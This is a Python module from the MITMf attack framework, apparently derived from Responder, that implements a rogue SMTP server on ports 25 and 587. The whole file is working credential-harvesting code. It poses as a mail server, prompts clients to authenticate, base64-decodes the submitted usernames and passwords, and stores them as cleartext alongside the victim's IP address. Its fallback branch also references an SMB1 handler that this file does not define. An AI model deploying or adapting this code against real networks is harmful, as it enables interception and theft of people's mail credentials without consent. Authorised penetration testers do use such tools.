byt3bl33d3r/MITMf

#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import os
import core.responder.settings as settings
import threading

from core.responder.utils import *
from base64 import b64decode, b64encode
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2

class SMTP:

    def start(self):
        try:
            if OsInterfaceIsSupported():
                server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP)
                server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP)
            else:
                server1 = ThreadingTCPServer(('', 25), SMB1)
                server2 = ThreadingTCPServer(('', 587), SMB1)

            for server in [server1, server2]:
                t = threading.Thread(name='SMTP', target=server.serve_forever)
                t.setDaemon(True)
                t.start()
        except Exception as e:
            print "Error starting SMTP server: {}".format(e)
            print_exc()

class ThreadingTCPServer(ThreadingMixIn, TCPServer):
    
    allow_reuse_address = 1

    def server_bind(self):
        if OsInterfaceIsSupported():
            try:
                self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
            except:
                pass
        TCPServer.server_bind(self)

# ESMTP Server class
class ESMTP(BaseRequestHandler):

    def handle(self):
        try:
            self.request.send(str(SMTPGreeting()))
            data = self.request.recv(1024)

            if data[0:4] == "EHLO":
                self.request.send(str(SMTPAUTH()))
                data = self.request.recv(1024)

            if data[0:4] == "AUTH":
                self.request.send(str(SMTPAUTH1()))
                data = self.request.recv(1024)
                
                if data:
                    try:
                        User = filter(None, b64decode(data).split('\x00'))
                        Username = User[0]
                        Password = User[1]
                    except:
                        Username = b64decode(data)

                        self.request.send(str(SMTPAUTH2()))
                        data = self.request.recv(1024)

                        if data:
                            try: Password = b64decode(data)
                            except: Password = data

                    SaveToDb({
                        'module': 'SMTP', 
                        'type': 'Cleartext', 
                        'client': self.client_address[0], 
                        'user': Username, 
                        'cleartext': Password, 
                        'fullhash': Username+":"+Password,
                    })

        except Exception:
            pass